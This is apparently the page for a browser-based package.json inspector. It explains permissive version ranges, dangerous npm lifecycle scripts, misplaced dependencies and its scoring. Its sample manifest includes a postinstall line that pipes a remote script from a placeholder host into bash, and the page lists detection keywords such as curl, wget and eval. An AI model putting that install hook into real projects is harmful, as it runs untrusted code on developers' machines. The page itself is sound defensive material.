Inspector de Package.json

Analiza package.json para problemas de seguridad, rangos de versión permisivos y scripts peligrosos

Analyzing package.json for Security and Supply Chain Risks

The package.json file is the dependency manifest for Node.js projects — defining every external package your application depends on, their allowed version ranges, lifecycle scripts that execute during installation, and engine constraints. Each entry represents a trust decision: you are granting that package permission to execute code in your build pipeline and production environment. Overly permissive version ranges allow untested updates, duplicate dependencies waste bundle size, and dangerous lifecycle scripts can execute malicious code during npm install.

The Package.json Inspector analyzes your dependency manifest for supply chain risks, version hygiene issues, and configuration problems that could compromise security or reliability. Each finding includes severity, the specific dependency or field causing the issue, and concrete remediation steps. All analysis runs entirely in your browser — your dependency list never leaves your device.

Permissive Version Ranges and Dependency Drift

npm's version range syntax allows specifying how loosely a dependency version is constrained. Overly permissive ranges introduce risk:

  • "*" or "latest" — Accepts any version, including majors with breaking changes or compromised releases
  • ">=1.0.0" — No upper bound, accepts any future version including majors
  • "^1.0.0" — Allows minor and patch updates (standard, generally acceptable)
  • "~1.0.0" — Only patch updates (conservative, more predictable)
  • "1.0.0" — Exact pin (most predictable but requires manual updates)

The inspector flags ranges broader than caret (^) as potentially risky and identifies dependencies using star ranges or no version constraint at all. For security-critical packages (authentication libraries, crypto modules), even caret ranges may be too permissive — a compromised minor release could execute malicious code in production.

Dangerous Lifecycle Scripts

npm lifecycle scripts execute automatically during package installation, providing an attack vector for malicious packages:

  • preinstall — Runs before any packages are installed
  • install — Runs after the package is installed
  • postinstall — Most common attack vector, runs after all dependencies install
  • prepare — Runs on local npm install without arguments

The inspector detects scripts that execute shell commands, download remote content, or reference obfuscated code. Legitimate postinstall scripts exist (native addon compilation, husky git hook setup) but should be reviewed explicitly. Unexpected scripts in dependencies — especially those involving curl, wget, or base64-encoded commands — indicate potential supply chain attacks.

Duplicate and Misplaced Dependencies

The inspector identifies organizational issues that affect bundle size and correctness:

  • Duplicate entries: The same package appearing in both dependencies and devDependencies — indicating confusion about whether it ships to production.
  • Dev tools in production: Testing frameworks, linters, or build tools listed in dependencies rather than devDependencies — unnecessarily increasing production install size and attack surface.
  • Missing engine constraints: No engines field means the package may be installed on incompatible Node.js versions, causing subtle runtime failures.
  • Peer dependency conflicts: Packages requiring incompatible versions of shared dependencies, leading to duplicate installations or runtime errors.

Code Examples

package.json with Common Issues

{
  "name": "my-api",
  "version": "1.0.0",
  "dependencies": {
    "express": "*",
    "jsonwebtoken": ">=8.0.0",
    "lodash": "^4.17.21",
    "jest": "^29.0.0",
    "typescript": "^5.0.0"
  },
  "devDependencies": {
    "lodash": "^4.17.21"
  },
  "scripts": {
    "postinstall": "curl -s https://example.com/setup.sh | bash",
    "start": "node dist/index.js"
  }
}

// Inspector findings:
// - CRITICAL: "express": "*" — accepts any version including compromised releases
// - HIGH: "jsonwebtoken": ">=8.0.0" — no upper bound on security-critical package
// - WARN: "jest" in dependencies — test framework should be in devDependencies
// - WARN: "typescript" in dependencies — build tool should be in devDependencies
// - WARN: "lodash" appears in both dependencies and devDependencies
// - CRITICAL: postinstall script downloads and executes remote code
// - INFO: Missing "engines" field — no Node.js version constraint

Preguntas Frecuentes

What issues does the Package.json Inspector detect?

The inspector detects duplicate dependencies (same package in both dependencies and devDependencies), overly permissive version ranges (*, >=x.y.z without ceiling, dist-tags like 'latest'), missing engine constraints (no 'engines' field or missing Node.js version), and potentially dangerous lifecycle scripts that download external content or execute shell commands during install.

Why are overly permissive version ranges a problem?

Using * or unbounded ranges like >=1.0.0 means any future version will be installed, including major versions with breaking changes. A malicious actor could also publish a high version number to hijack the range. Use caret (^) or tilde (~) ranges to allow compatible updates while preventing unexpected breaking changes.

What makes a script 'dangerous' in package.json?

Scripts that run automatically during package installation (preinstall, install, postinstall) and contain commands that download external content (curl, wget), execute arbitrary code (eval, sh -c), or pipe output to a shell are flagged. These are common vectors for supply chain attacks where malicious code runs without the developer's knowledge.

Why should I define an 'engines' field?

The engines field specifies which Node.js and npm versions your project supports. Without it, collaborators or CI systems may use incompatible versions, leading to subtle bugs or build failures. Adding 'engines': { 'node': '>=18.0.0' } prevents running the project on unsupported runtimes.

What are duplicate dependencies and why do they matter?

A duplicate dependency is a package that appears in both 'dependencies' and 'devDependencies'. This creates confusion about the package's role, may cause version conflicts, and increases the installed size. If the package is needed at runtime, keep it only in dependencies. If it's only for development, keep it only in devDependencies.

How is the inspection score calculated?

The score starts at 100 and deducts points based on finding severity: Critical issues deduct 25 points, High issues (permissive ranges, dangerous lifecycle scripts) deduct 15, Medium issues (duplicates, dangerous non-lifecycle scripts) deduct 8, and Low issues (missing engines, invalid ranges) deduct 3. Grades map to: A (90+), B (75+), C (60+), D (40+), F (below 40).

Does the inspector handle workspace or monorepo package.json files?

The inspector analyzes any valid package.json file regardless of whether it's a root workspace file or a package within a monorepo. Workspace protocol references (workspace:*) are recognized as valid non-semver references and are not flagged as invalid ranges.

Are git and URL dependencies flagged?

Git references (git://, github:), file references (file:, link:), and HTTP URLs are recognized as non-semver references and are not flagged as invalid version ranges. However, they bypass normal version resolution and should be used deliberately.

Can the inspector detect all security vulnerabilities in dependencies?

No. The inspector analyzes the package.json structure and metadata, not the actual code of your dependencies. For vulnerability scanning of installed packages, use npm audit, Snyk, or Socket.dev. The inspector focuses on configuration hygiene and supply chain risk indicators.

Is my package.json sent to any server for analysis?

No. All analysis happens entirely in your browser using JavaScript. Your package.json — which may contain private package names, internal registry URLs, or proprietary script configurations — never leaves your device. No data is stored, logged, or transmitted.